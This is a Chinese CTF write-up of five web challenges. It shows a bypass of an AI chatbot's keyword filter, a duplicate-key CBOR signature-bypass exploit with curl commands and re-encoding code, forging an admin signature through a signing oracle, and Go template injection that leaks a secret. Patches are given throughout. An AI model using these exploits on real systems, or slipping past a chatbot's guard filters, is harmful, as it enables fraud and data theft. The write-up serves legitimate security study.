师傅好呀
2026 湾区杯 决赛 web 部分
导读 · CONTENTS
01InduCoreBot
02CarbonTrace
03Flowise
04sky_uom
05lingyun_atlas
06小结
InduCoreBot
INDUCOREBOT
The service provides an AI customer support chat frontend. The backend calls an OpenAI-compatible Chat Completions API.
跟踪到过滤函数后进行分析
function needsCannedReply(message) {
const normalized = foldFullWidth(String(message).toLowerCase()).replace(SCREEN_STRIP_RE, "");
if (!normalized) {
return false;
}
const folded = dLeefolt(normalized);
return SCREEN_TERMS.some(term => normalized.includes(term) || folded.includes(term));
}
function foldFullWidth(text) {
return text.replace(/[\uFF01-\uFF5E]/g, ch => String.fromCharCode(ch.charCodeAt(0) - 0xFEE0));
}
toLowerCase → foldFullWidth → 删字符 → (空则放行)→ foldLeet
async function answerCustomer(message, context) {
if (needsCannedReply(message)) {
return {
reply: CANNED_REPLY
};
}
needsCannedReply最后返回布尔值,若真则返回固定话术 但检查调用模型的代码,发现会直接将原文发送给 ai 且输出无任何过滤 因此这里归一化后不含有词表里的词,就能任意和 ai 交互

防御用输出时正则过滤 flag 或者检测到 flag 输出固定话术
CarbonTrace
CARBONTRACE
CarbonTrace is a carbon asset and reward settlement platform designed for new-energy logistics fleets.
The platform has recently introduced a new vehicle data submission workflow. Once submitted data is accepted by the system, the corresponding account receives reward points and may redeem them after meeting the required threshold.
As an ordinary user, you have no access to the vehicle-side secret key material.
Your objective is simple:
Make your wallet balance reach the redemption threshold.
烂了,没审计出流程
前言
当时做这道题的时候看到 gateway 是 go 程序就感觉不妙,不过实际做的时候卡在看不懂区块链合约的部分和 CBOR 上了,有关 go 的验签部分根本没看(),不过回头看下实际利用和防御也不需要看 go
源码审计

先分析目录结构,能看到两份 js 代码和一份 solidity 合约,还有 gateway 程序,die 查看发现 go 的 elf 程序

其实从 protocol.md 能看出很多信息

先看 JS
settlement/src/server.js ← Express 应用:路由、会话、链交互
settlement/src/cbor.js ← 手写的最小 CBOR 解析器
settlement/contracts/CarbonCredit.sol
找 flag

需要balance>=10,跟踪 balance

balance 使用 creditBalanc 通过合约取出,跟踪合约定义,先不看前面的验签部分

同时前面 abi 定义了合约函数和事件
const abi = [
"function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)",
"function creditBalance(address wallet) view returns (uint256)",
"event SettlementAccepted(bytes32 indexed eventIdHash, address indexed wallet, uint256 energyWh, uint256 credited)"
];
配合合约进行分析,能看到 creditBalance 函数用于读取 creditBalanced 键值对映射(类似字典)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract CarbonCredit {
address public immutable relayer;
mapping(bytes32 => bool) public eventUsed;
mapping(address => uint256) public creditBalance;
event SettlementAccepted(
bytes32 indexed eventIdHash,
address indexed wallet,
uint256 energyWh,
uint256 credited
);
modifier onlyRelayer() {
require(msg.sender == relayer, "relayer only");
_;
}
constructor(address initialRelayer) {
relayer = initialRelayer;
}
function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)
external
onlyRelayer
{
require(!eventUsed[eventIdHash], "event already settled");
require(energyWh >= 500 && energyWh <= 25000, "energy outside vehicle envelope");
uint256 credited = energyWh / 1000;
require(credited > 0, "no credit");
eventUsed[eventIdHash] = true;
creditBalance[wallet] += credited;
emit SettlementAccepted(eventIdHash, wallet, energyWh, credited);
}
}
而该映射可以通过合约的 settle 函数修改,成功结算时将每 1000(Wh)转换为 1 碳积分,放入对应账号地址的映射里
function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)
external
onlyRelayer
{
require(!eventUsed[eventIdHash], "event already settled");
require(energyWh >= 500 && energyWh <= 25000, "energy outside vehicle envelope");
uint256 credited = energyWh / 1000;
require(credited > 0, "no credit");
eventUsed[eventIdHash] = true;
creditBalance[wallet] += credited;
emit SettlementAccepted(eventIdHash, wallet, energyWh, credited);
}
回到 server.js 搜索 settle 调用发现就在提取balance之前

继续跟进参数 event.wallet和event.energy_wh,就在上面几行能看到 event 是通过 settlementPayload 定义的,且参数是 unpackCOSE(request.body.cose)可控, 跟进 settlementPayload 发现是 cbor.js 的 export 函数
export function settlementPayload(rawPayload) {
const state = { offset: 0 };
const root = parseValue(rawPayload, state);
if (state.offset !== rawPayload.length || root.kind !== "map") throw new Error("payload is not a CBOR map");
const out = Object.create(null);
for (const [key, value] of root.value) {
if (key.kind !== "text") throw new Error("non-text payload key");
out[key.value] = primitive(value);
}
return out;
}
📌 提示 CBOR(Concise Binary Object Representation,简洁二进制对象表示),是 RFC 8949 定义的二进制序列化格式,可以看作二进制版的 JSON。
审计 cbor.js 发现是未导入其他库的极简 CBOR 解码器,这里将 rawPayload 进行解码后,写入 out 对象做键值对映射
但是这里未检测解码后的 rawPayload 是否存在重复键,如果重复则后一个键的值将覆盖前一个键的值
而控制了 settlementPayload 返回的 out 的 energy_wh 字段的值即可修改balance,使其超过 10 拿到 flag
Go 逆向
但刚刚的 js 代码审计部分并没有做完,在进行合约交互前事实上有很长一段与 gateway 的验签交互
app.post("/api/settlements/redeem", async (request, response) => {
const session = await sessionFor(request); // (a) 会话 → wallet
await gateway("/internal/verify", { cose: request.body.cose }); // (b) 委托 gateway 验签
const { payload: rawPayload } = unpackCOSE(request.body.cose); // (c) 取"原始" payload 字节
const event = settlementPayload(rawPayload); // (d) 自己解析字段
if (!/^evt-[0-9a-f]{24}$/.test(event.event_id)) throw ... // (e)
if (event.wallet.toLowerCase() !== session.wallet.toLowerCase()) // (f)
throw protocolError("attestation wallet does not match fleet session");
if (!Number.isSafeInteger(event.energy_wh)) throw ... // (g)
const tx = await contract.settle(keccak256(toUtf8Bytes(event.event_id)),
event.wallet, event.energy_wh); // (h) 上链
...
});
📌 提示 注意:下文有很大一部分 ai 辅助,有问题请指出;可以跳过直接看利用和防御
这里审计 gateway 函数就能看到是向gateway服务发请求,这里端口什么的都不用管,直接 go 逆向启动
async function gateway(pathname, body) {
const response = await fetch(`${gatewayUrl}${pathname}`, {
method: "POST",
headers: { "content-type": "application/json", "x-gateway-secret": sharedSecret },
body: JSON.stringify(body),
signal: AbortSignal.timeout(5000)
});
const parsed = await response.json().catch(() => ({}));
if (!response.ok) {
const error = new Error(parsed.error || "gateway rejected request");
error.status = response.status;
throw error;
}
return parsed;
}
Go 把符号放在自己的 .gopclntab,不在 ELF 符号表里;
而实测 go_parser 和GoReSym对高版本 go 的符号表还原不尽人意,还是直接用 ida9.4 看 还有 redress 看下函数

然后从 js 的逻辑能看到访问了 gateway 的四个路由/api/demo/issue、/api/checker/issue、/api/fleet/register、/internal/verify、/internal/session/validate → 按 X 看 xref → 落在 main.main 里的net/http.(*ServeMux).HandleFunc 调用旁 → 相邻的 LEA 就是 handler;
# 源码原型
http.HandleFunc("/api/demo/issue", gateway.issue)


这里就审计下验签的路由/internal/verify 吧,其他 re 不动了()

验签 xref 跳转到引用的汇编

看 0x662593 前后(这就是一次路由注册):
0x66255c lea rax, RTYPE_struct__F_uintptr_R__ptr_main_gateway_ ; 分配闭包结构体 {fn, g}
0x662563 call runtime_newobject
0x662568 lea rdx, main__ptr_gateway_verifyProof_fm ; ★ handler = 方法值包装 -fm
0x66256f mov [rax], rdx
0x66258c mov [r11], rdx / 0x66258f mov [rax+8], rdx ; 捕获接收者 g 存进闭包
0x662593 lea rbx, aInternalVerify ; "/internal/verify"
0x66259a mov ecx, 10h ; 长度 16
0x66259f mov rdi, rax ; handler 闭包
0x6625a7 call net_http__ptr_ServeMux_HandleFunc ; mux.HandleFunc("/internal/verify", g.verifyProof)
追踪 loc 能看到是 main__ptr_gateway_verifyProof_fm 调用的,跳转审计逻辑


0x662aa1 mov rdx, [rdx+8] ; 从闭包里取出捕获的接收者 g
0x662aae mov rax, rdx
0x662ab1 call main__ptr_gateway_verifyProof ; ★ 真身
到达 main.(*gateway).verifyProof @ 0x661960
📌 提示 `-fm` 是什么:源码写的是 mux.HandleFunc("/internal/verify", g.verifyProof),g.verifyProof 是"方法值"(bound method value),Go 编译器为它生成一个瘦包装函数 <方法>-fm:捕获接收者 g,调用时把 g 塞进 rax 再跳真方法。所以注册处永远看到 `-fm`,真身在下一跳
① 门禁:POST + 网关密钥



0x66198d cmp qword ptr [rdi+8], 4 ; 方法名长度 == 4
0x661997 cmp dword ptr [rdx], 54534F50h ; "POST"
0x66199d jnz loc_6619FC ; 否则 ↓
0x6619b3 lea rbx, aXGatewaySecret ; "X-Gateway-Secret"
0x6619c0 call net_textproto_MIMEHeader_Get
0x6619e4 call runtime_memequal ; 与 g.sharedSecret 比较(普通字符串相等,不是常量时间)
0x6619f6 jz loc_661A84 ; 通过 → 继续
0x661a48 lea rdx, aInternalEndpoi ; 失败 → 400 {"error":"internal endpoint"}
0x661a76 call main_writeJSON
注意:方法校验和密钥校验共用同一个失败出口,报的都是 internal endpoint
② 取 cose + base64 解码 + 长度上限(0x661a84–0x661af5)

0x661a84 lea rax, RTYPE_struct__COSE_string_json_cose_ ; body 结构 {COSE string `json:"cose"`}
0x661ac1 call main_readJSON ; 解析失败 → readJSON 内部已回 400
0x661ae4 call encoding_base64__ptr_Encoding_DecodeString ; base64url 解码
0x661ae9 test rdi, rdi ; rdi = error.type,非 0 即出错
0x661aee cmp rbx, 4000h ; 解码后字节数 ≤ 16384
0x661af5 jle loc_661B84
0x661b48 lea rdx, aInvalidCoseEnc ; 失败 → 400 "invalid COSE encoding"
往后跟发现 call unpackCOSE

这里不具体分析了
④ protected 必须正好是 `a10127` + 签名长度 64(0x661bb9–0x661c33)
继续往后

0x661be8 lea rax, RTYPE_uint8
0x661bf2 call runtime_makeslice ; 给 hex 编码开缓冲
0x662000 (hex 编码循环,表 0x662015 = "0123456789abcd")
0x662052 call runtime_slicebytetostring
0x662057 lea rcx, aA10127 ; "a10127" (= {1:-8} EdDSA)
0x662063 call strings_EqualFold ; 必须完全相等
0x661c2f cmp r10, 40h ; 签名长度 == 0x40 = 64
0x661c33 jz loc_661CBD
0x661c81 lea rdx, aInvalidCoseSig ; 失败 → 400 "invalid COSE_Sign1"
⑤ ★ firstWinsPayload 0x661cc6 → 0x65ec80

0x661cc6 call main_firstWinsPayload
0x661ccb test rbx, rbx
0x661cce jz loc_661E04 ; 成功才继续
0x661d29 lea rdx, aAttestationPay ; 失败 → 日志 "attestation payload parse rejected: %v"
0x661d76 call log__ptr_Logger_output
0x661dc8 lea rdx, aInvalidAttesta ; → 400 "invalid attestation payload"
函数内部(决定性的两行):

0x65ecc0 call main_parseCBOR ; 建树,重复键原样保留成两个 cborPair
0x65eceb cmpb $0x5, (%rax) ; 根必须是 map
0x65ee25 call runtime_mapaccess1_faststr ; 查键是否已存在
0x65ee2d je 0x65ee36 ; 不存在 → 赋值
0x65ee34 jmp 0x65edce ; 已存在 → 跳过 ★ 重复键保留【第一个】
⑥ ★ canonicalCBOR 0x661e04 → 0x65e2c0

0x661e04 call main_canonicalCBOR
0x661e09 test rdi, rdi
0x661e0c jz loc_661E92 ; err == nil → 继续
0x661e56 lea rdx, aCannotCanonica ; → 400 "cannot canonicalize payload"
内部:0x65e840/0x65e868 递归编码键与值 → 0x65ea22 call sort.Slice(pairs, 按键字节序) → 0x65ea27/0x65ea31 encodeCBORLength(5, len(pairs)) 写 map 头 → 0x65ea63 memmove 输出。 因为输入已经是 Go map(重复键在 ⑤ 就没了),输出里不可能出现重复键。
⑦ sigStructure 0x661eb3 → 0x65f180

0x661e9b/0x661ea3/0x661eab mov ... ; 参数1 = protected
0x661e92/0x661e95/0x661e98 mov ... ; 参数2 = ⑥ 的 canonical 字节
0x661eb3 call main_sigStructure
0x661eb8 test rdi, rdi / 0x661ebb jnz loc_661F13 ; 出错 → 401
内部:0x65f1e7 lea r9, aSignature1("Signature1")→ 构造 array(4) = [tstr, protected, bstr(空), payload] → 0x65f339 call main_canonicalCBOR 把整个待签结构编码成字节。
⑧ ed25519.Verify 0x661f06
0x661ec5/0x661ecd/0x661ed1 ; 取 g.tboxPub 切片(结构体偏移 0x18/0x20/0x28)
0x661efd/0x661f00/0x661f03 ; 取签名
0x661f06 call crypto_ed25519_verify ; ed25519.Verify(pub, toSign, sig)
0x661f0b test al, al
0x661f0d jnz loc_661F93 ; 通过
0x661f93 ... map_string_bool + "verified"
0x661fe2 call main_writeJSON ; 200 {"verified":"true"}
0x661f57 lea rdx, aTBoxSignatureR ; 失败 → 401 "T-Box signature rejected"
结论
toSign = canonicalCBOR( ["Signature1", protected, "", payload] )
└─ payload 这一项 = canonicalCBOR( firstWinsPayload( 原始 payload 字节 ) )
↑ 去重(留第一个) ↑ 规范化重编码
利用 1. 验签对象 ≠ 业务解析对象;
因果链
① 合法凭证(1800 Wh)→ ② 在 payload 末尾追加重复键 "energy_wh": 25000
│
├─ 网关:firstWinsPayload 取到 1800 → canonicalCBOR 输出与签发时逐字节相同
│ → ed25519.verify 通过 → {"verified":true}
└─ 结算:settlementPayload last-wins 取到 25000 → 钱包/事件号校验通过
→ contract.settle(hash, wallet, 25000) → credited = 25
→ /api/rewards/claim:25 ≥ 10 → flag
字节层面(a6→a7,重复键放在最后)
原 payload: a6 ... 69 "energy_wh" 19 07 08(=1800) ... 6a "vehicle_did" ...
篡改后: a7 ... 69 "energy_wh" 19 07 08(=1800) ... 6a "vehicle_did" ... 69 "energy_wh" 19 61 a8(=25000)
└── 网关 first-wins 读这里 = 1800 ──────────────────────┘ └── JS last-wins 读这里 = 25000 ──┘
同类利用面:把重复键换成 event_id(第一个给网关验签、最后一个换新值给结算), 可让同一张凭证反复入账——所以修复必须"拒绝重复键",而不是只拦 energy_wh
# ① 注册(拿 fleet_token)
curl -s -XPOST http://TARGET:18080/api/fleet/register -H 'content-type: application/json' \
-d '{"wallet":"0x<你的地址>"}'
# ② 领 1800 Wh 演示凭证
curl -s -XPOST http://TARGET:18080/api/demo/issue -H "X-Fleet-Token: <token>"
# ③ 篡改后提交结算(重复键追加在 payload 末尾,签名不动)
curl -s -XPOST http://TARGET:3000/api/settlements/redeem \
-H "x-fleet-token: <token>" -H 'content-type: application/json' \
-d '{"cose":"<篡改后的 base64url>"}'
curl -s -XPOST http://TARGET:3000/api/rewards/claim -H "x-fleet-token: <token>"
篡改核心是解码 cbor 后在尾部添加重复键值对 energy_wh=25000 后重新编码用于提交
解码部分直接照抄 cbor.js 的内容
const cose = parseValue(raw);
const [prot, unprot, payloadNode, sig] = cose.value.value; // tag18 → array(4)
const payloadMap = parseValue(payloadNode.value);
payloadMap.value.push([{ kind: "text", value: "energy_wh" }, { kind: "uint", value: 25000 }]);
const head = (major, n) => n < 24 ? Buffer.from([(major<<5)|n]) : n < 256 ? Buffer.from([(major<<5)|24, n]) : /* … */;
function encode(node) {
switch (node.kind) {
case "uint": return head(0, node.value);
case "text": { const b = Buffer.from(node.value,"utf8"); return Buffer.concat([head(3,b.length), b]); }
case "bytes": return Buffer.concat([head(2, node.value.length), node.value]);
case "map": return Buffer.concat([head(5, node.value.length), ...node.value.flatMap(([k,v])=>[encode(k),encode(v)])]);
case "array": return Buffer.concat([head(4, node.value.length), ...node.value.map(encode)]);
case "tag": return Buffer.concat([head(6, node.tag), encode(node.value)]);
}
}
payloadNode.value = encode(payloadMap);
const out = encode(cose);
输出发送至/api/settlements/redeem即可获得 25 点碳积分,验证谈积分>=10 后拿到 flag
防御
根因是"两侧解析语义不一致",所以让 JS 侧与 Go 侧一致即可:解析 payload 时发现重复键直接报错
补丁(`settlement/src/cbor.js`)
const out = Object.create(null);
+ const seen = new Set();
for (const [key, value] of root.value) {
if (key.kind !== "text") throw new Error("non-text payload key");
+ if (seen.has(key.value)) throw new Error("duplicate payload key");
+ seen.add(key.value);
out[key.value] = primitive(value);
}
框架
flowchart LR
A["用户/车队 (fleet)"]
B["gateway:18080 Go 程序 车队注册 模拟T-Box签发 验签"]
C["settlement:3000 Node 验签、入账"]
D["测试链 CarbonCredit合约 JSON-RPC 8545"]
A --①注册领凭证--> B
B --②token+Ed25519凭证--> A
A --③提交结算--> C
C --内部调用(密钥)--> B
C --④relayer发交易--> D
sequenceDiagram
participant A as 用户/车队
participant B as gateway:18080 Go
participant C as settlement:3000 Node
participant D as 测试链合约
A->>B: ①注册/领凭证
B-->>A: ②fleet_token + Ed25519凭证
A->>C: ③提交凭证结算
C->>B: 内部调用(带密钥)验签
C->>D: ④relayer私钥发送交易
凭证签发验签完整流程 1. POST /api/fleet/register {wallet} → 得到 fleet_token(48 位 hex)与 vehicle_did;
一半 Go 一半 JS
但从安全设计看更要紧的是:
gateway 持有私钥 → 能验签,但不懂业务
settlement 懂业务(wallet/energy/链) → 拿不到 T-Box 公钥,只能委托 gateway 验签
于是 settlement 必须"先委托验签,再自己解析一遍原始字节取字段"。 "验签在 A、取字段在 B"的结构,要求两侧对同一份字节的理解完全一致——这正是本题被打破的不变量。
Flowise
FLOWISE
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

给了,不会;不是 cve 专家真是抱歉(队友莫怪喵
sky_uom
SKY
某市低空飞行综合监管平台"苍穹 UOM"完成 v2 升级:飞手注册、飞行申请、空域通报一应俱全。平台早期为存量机载固件保留了一套 v1 设备接入接口,而"管制空域机密通报"只在管理员签名导出通道中流转。请从公开入口出发取得机密通报内容。
漏洞是 /api/v1/time 接口可以产生 /api/v2/admin/bulletin/export需要的x-sign认证信息
if (p === '/api/v1/time' && req.method === 'GET') {
const ts = u.searchParams.get('ts') || String(Math.floor(Date.now() / 1000));
const keywords = ["id", "action", "export"];
for (const i of keywords) {
if (ts.includes(i)) {
result = "Hacker!";
return send(res, 200, { ts });
}
}
return send(res, 200, { ts, sig: sha256b(Buffer.concat([SIGN_SECRET, Buffer.from(ts, 'latin1')])), algo: 'sha256', ttl: 300 });
}
if (p === '/api/v2/admin/bulletin/export' && req.method === 'POST') {
const rawBuf = await readBody(req);
const xs = req.headers['x-sign'] || '';
const parts = rawBuf.toString('latin1').split('|');
if (parts.length < 2) return send(res, 400, { error: '格式错误:缺少 |' });
const ts = parseInt(parts[parts.length - 2], 10);
if (!Number.isFinite(ts) || Math.abs(Math.floor(Date.now() / 1000) - ts) > 600) {
return send(res, 400, { error: '时间戳无效或超时' });
}
let cmd;
try { cmd = JSON.parse(parts[parts.length - 1]); } catch { return send(res, 400, { error: '指令 JSON 解析失败' }); }
if (cmd.action !== 'export' || !bulletins.some((b) => b.id === cmd.id)) return send(res, 400, { error: '不支持的指令' });
const expect = sha256b(Buffer.concat([SIGN_SECRET, rawBuf]));
if (xs.length !== 64 || xs !== expect) return send(res, 403, { error: '签名校验失败' });
const b = bulletins.find((x) => x.id === cmd.id);
return send(res, 200, { ok: true, id: b.id, title: b.title, content: b.id === 3 ? readFlag() : b.content });
}
/api/v1/time参数可控,生成带 payload 的 sha256b(Buffer.concat([SIGN_SECRET, Buffer.from(ts, 'latin1')]))

写入 x-sign 后通过认证拿到 flag

修复就写个过滤,这里用的黑名单
const keywords = ["id", "action", "export"];
for (const i of keywords) {
if (ts.includes(i)) {
result = "Hacker!";
return send(res, 200, { ts });
}
}
lingyun_atlas
LINGYUN
"凌云低空运力开放平台"是低空物流运力的调度中枢,向接入方开放运力查询与告警通知服务。告警通知支持自定义模板渲染,方便运维推送个性化告警。平台的节点注册信息保存在调度中枢的运行时上下文中,其中"节点接入密钥"等同于节点身份凭据。你能获得这个密钥吗?
附件是 elf 文件,根本看不懂,机子上没有 go 的反编译,或者说有 go 环境但是不知道怎么用 漏洞是 go 的 ssti 信息泄露:{{.}} 直接 dump 数据对象;若引入了 sprig(常见第三方函数库,提供 env / expandenv 等),可 {{env "FLAG"}} 读环境变量;
这里直接 dump 数据对象就能看到了

赛后看了下 go 大概怎么 patch 先看编译版本, -ldflags="-s -w"**(符号被剥)

然后用 redress 看二进制有哪些包和函数
redress packages 目标文件 # 默认只列「非标准库」的包 → 等于你/出题人写的代码
redress source 目标文件 # 包 → 文件 → 函数 + 行号范围

只有一个 main 包,8 个函数

之后就去 ida 里看伪代码,定位到具体函数就方便了

经高人提点,大概知道这种怎么 patch 了
最简单的一种是就是打开 winhex 或者 010,将所有 flag 字符换成别的内容
另一种是找 flag 被复制移动的时候将其清空,这道题给两种示例 1. 修改
首先查看 readflag 函数的汇编,能看到 rax 是 flag 的指针,rbx 是长度

然后找到写入结构体的函数 buildContext

找到 call readflag 后第一个复制移动了 rax rbx 的 汇编

地址0x6fe202
原来(5 字节)48 89 44 24 70
改成(5 字节)31 c0 90 90 90
含义xor eax,eax + 3×nop:rax 清零,同时把 0 写进 Secret.ptr
地址0x6fe207
原来(5 字节)48 89 5c 24 78
改成(5 字节)48 89 44 24 78
含义mov %rax,0x78(%rsp):把已经清零的 rax 写进 Secret.len
这里第二句汇编只要改两个字节,将清零的 rax 写入即可
或者图方便的也可以全部 nop 掉 2. 修改结构体移动到参数区
在 notifyPreview 处找到 buildContext 调用

查看汇编,替换指令,将结构体里的 Secret内容清空
指令movups xmm14,[rcx+0x50]
机器码44 0f 10 71 50
长度5 字节
指令pxor xmm14,xmm14
机器码66 45 0f ef f6
长度5 字节

这里是通过看 buildContext 的汇编得到 flag 的具体位置偏移来精确定位的

小结
SUMMARY
前一版检查了下格式和内容都有问题,这版用的好靶场公众号编辑器 v1.3 加上 ai 做的插件弄的,感觉效果还可以,也顺便宣传一下
我是sly_aaorn,学识浅薄,若有疏漏,还请斧正。
如果觉得有用,欢迎点赞、在看、转发三连喵~